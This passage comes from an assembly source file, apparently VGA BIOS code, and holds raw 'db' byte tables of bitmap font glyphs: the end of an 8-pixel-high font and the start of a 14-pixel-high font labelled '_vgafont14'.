06ch, 076h, 066h, 066h, 0e6h, 000h, 030h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 00ch, 000h, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 0e0h, 060h, 066h, 06ch, 078h, 06ch, 0e6h, 000h db 070h, 030h, 030h, 030h, 030h, 030h, 078h, 000h, 000h, 000h, 0cch, 0feh, 0feh, 0d6h, 0c6h, 000h db 000h, 000h, 0f8h, 0cch, 0cch, 0cch, 0cch, 000h, 000h, 000h, 078h, 0cch, 0cch, 0cch, 078h, 000h db 000h, 000h, 0dch, 066h, 066h, 07ch, 060h, 0f0h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 01eh db 000h, 000h, 0dch, 076h, 066h, 060h, 0f0h, 000h, 000h, 000h, 07ch, 0c0h, 078h, 00ch, 0f8h, 000h db 010h, 030h, 07ch, 030h, 030h, 034h, 018h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 076h, 000h db 000h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 000h, 000h, 000h, 0c6h, 0d6h, 0feh, 0feh, 06ch, 000h db 000h, 000h, 0c6h, 06ch, 038h, 06ch, 0c6h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 07ch, 00ch, 0f8h db 000h, 000h, 0fch, 098h, 030h, 064h, 0fch, 000h, 01ch, 030h, 030h, 0e0h, 030h, 030h, 01ch, 000h db 018h, 018h, 018h, 000h, 018h, 018h, 018h, 000h, 0e0h, 030h, 030h, 01ch, 030h, 030h, 0e0h, 000h db 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h db 078h, 0cch, 0c0h, 0cch, 078h, 018h, 00ch, 078h, 000h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 01ch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 07eh, 0c3h, 03ch, 006h, 03eh, 066h, 03fh, 000h db 0cch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 0e0h, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h db 030h, 030h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 000h, 000h, 078h, 0c0h, 0c0h, 078h, 00ch, 038h db 07eh, 0c3h, 03ch, 066h, 07eh, 060h, 03ch, 000h, 0cch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h db 0e0h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 0cch, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 07ch, 0c6h, 038h, 018h, 018h, 018h, 03ch, 000h, 0e0h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 0c6h, 038h, 06ch, 0c6h, 0feh, 0c6h, 0c6h, 000h, 030h, 030h, 000h, 078h, 0cch, 0fch, 0cch, 000h db 01ch, 000h, 0fch, 060h, 078h, 060h, 0fch, 000h, 000h, 000h, 07fh, 00ch, 07fh, 0cch, 07fh, 000h db 03eh, 06ch, 0cch, 0feh, 0cch, 0cch, 0ceh, 000h, 078h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h db 000h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 0e0h, 000h, 078h, 0cch, 0cch, 078h, 000h db 078h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h, 000h, 0e0h, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 000h, 0cch, 000h, 0cch, 0cch, 07ch, 00ch, 0f8h, 0c3h, 018h, 03ch, 066h, 066h, 03ch, 018h, 000h db 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 018h, 018h, 07eh, 0c0h, 0c0h, 07eh, 018h, 018h db 038h, 06ch, 064h, 0f0h, 060h, 0e6h, 0fch, 000h, 0cch, 0cch, 078h, 0fch, 030h, 0fch, 030h, 030h db 0f8h, 0cch, 0cch, 0fah, 0c6h, 0cfh, 0c6h, 0c7h, 00eh, 01bh, 018h, 03ch, 018h, 018h, 0d8h, 070h db 01ch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 038h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 000h, 01ch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 01ch, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 000h, 0f8h, 000h, 0f8h, 0cch, 0cch, 0cch, 000h, 0fch, 000h, 0cch, 0ech, 0fch, 0dch, 0cch, 000h db 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h db 030h, 000h, 030h, 060h, 0c0h, 0cch, 078h, 000h, 000h, 000h, 000h, 0fch, 0c0h, 0c0h, 000h, 000h db 000h, 000h, 000h, 0fch, 00ch, 00ch, 000h, 000h, 0c3h, 0c6h, 0cch, 0deh, 033h, 066h, 0cch, 00fh db 0c3h, 0c6h, 0cch, 0dbh, 037h, 06fh, 0cfh, 003h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 000h db 000h, 033h, 066h, 0cch, 066h, 033h, 000h, 000h, 000h, 0cch, 066h, 033h, 066h, 0cch, 000h, 000h db 022h, 088h, 022h, 088h, 022h, 088h, 022h, 088h, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah db 0dbh, 077h, 0dbh, 0eeh, 0dbh, 077h, 0dbh, 0eeh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h db 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h db 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h db 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h db 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h db 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h db 036h, 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h db 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h db 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h db 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h db 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 0c8h, 0dch, 076h, 000h, 000h, 078h, 0cch, 0f8h, 0cch, 0f8h, 0c0h, 0c0h db 000h, 0fch, 0cch, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 000h db 0fch, 0cch, 060h, 030h, 060h, 0cch, 0fch, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 070h, 000h db 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 0c0h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 000h db 0fch, 030h, 078h, 0cch, 0cch, 078h, 030h, 0fch, 038h, 06ch, 0c6h, 0feh, 0c6h, 06ch, 038h, 000h db 038h, 06ch, 0c6h, 0c6h, 06ch, 06ch, 0eeh, 000h, 01ch, 030h, 018h, 07ch, 0cch, 0cch, 078h, 000h db 000h, 000h, 07eh, 0dbh, 0dbh, 07eh, 000h, 000h, 006h, 00ch, 07eh, 0dbh, 0dbh, 07eh, 060h, 0c0h db 038h, 060h, 0c0h, 0f8h, 0c0h, 060h, 038h, 000h, 078h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 000h db 000h, 0fch, 000h, 0fch, 000h, 0fch, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 0fch, 000h db 060h, 030h, 018h, 030h, 060h, 000h, 0fch, 000h, 018h, 030h, 060h, 030h, 018h, 000h, 0fch, 000h db 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 070h db 030h, 030h, 000h, 0fch, 000h, 030h, 030h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h db 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 0ech, 06ch, 03ch, 01ch db 078h, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 070h, 018h, 030h, 060h, 078h, 000h, 000h, 000h db 000h, 000h, 03ch, 03ch, 03ch, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont14: ; 0xc5bed LB 0xe00 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 07eh, 000h, 000h, 000h, 000h, 000h, 07eh, 0ffh db 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh db 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch db 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h db 03ch, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h db 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh db 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 01eh, 00eh, 01ah, 032h db 078h, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 066h, 066h, 03ch, 018h db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 070h, 0f0h db 0e0h, 000h, 000h, 000h, 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h db 000h, 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 080h, 0c0h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h, 000h db 002h, 006h, 00eh, 03eh, 0feh, 03eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch db 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h db 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh db 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h db 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 000h db 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 060h db 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h db 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 028h, 06ch, 0feh, 06ch, 028h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 03ch, 03ch, 03ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 066h, 066h, 066h db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch db 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h db 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 066h db 0c6h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h, 000h db 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h db 006h, 00ch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 006h, 006h db 03ch, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh db 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 07ch, 000h db 000h, 000h, 000h, 000h, 0feh, 0c6h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h, 000h, 000h, 018h db 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h db 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h db 018h, 00ch, 006h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h db 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h, 000h db 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h, 0fch, 066h db 066h, 066h, 07ch, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h db 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h db 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 062h, 066h db 0feh, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 066h, 03ah, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h db 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 01eh, 00ch db 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 0e6h, 066h, 06ch, 06ch db 078h, 06ch, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h db 062h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 0c6h db 0c6h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h db 000h, 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h db 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h, 000h, 000h, 0fch, 066h db 066h, 066h, 07ch, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 060h db 038h, 00ch, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 07eh, 07eh, 05ah, 018h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 010h, 000h db 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 07ch, 06ch, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 06ch, 038h, 038h, 038h, 06ch, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h db 066h, 066h, 066h, 066h, 03ch, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h db 08ch, 018h, 030h, 060h, 0c2h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 03ch, 030h, 030h, 030h db 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch db 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch db 03ch, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0e0h, 060h db 060h, 078h, 06ch, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch db 0c6h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 006h, 006h db 000h, 00eh, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h, 000h, 000h, 0e0h, 060h, 060h, 066h db 06ch, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ech, 0feh, 0d6h, 0d6h, 0d6h db 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 000h, 000h db 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h db 000h, 0dch, 076h, 066h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch db 0c6h, 070h, 01ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h db 030h, 036h, 01ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch db 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 03ch, 018h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 06ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h, 000h, 000h, 000h, 000h db 000h, 0feh, 0cch, 018h, 030h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 00eh, 018h, 018h, 018h db 070h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h db 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h db 070h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h, 000h db 0cch, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 078h db 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 000h, 078h, 00ch, 07ch db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch db 076h, 000h, 000h, 000h, 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 0cch, 0cch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 000h, 038h db 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h db 03ch, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h db 000h, 000h, 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h, 000h, 000h db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 0cch, 076h, 036h, 07eh, 0d8h, 0d8h, 06eh, 000h, 000h, 000h, 000h, 000h, 03eh, 06ch db 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 07ch db 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h, 07ch, 0c6h, 0c6h db 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h db 07ch, 000h, 000h, 000h, 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h db 000h, 000h, 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 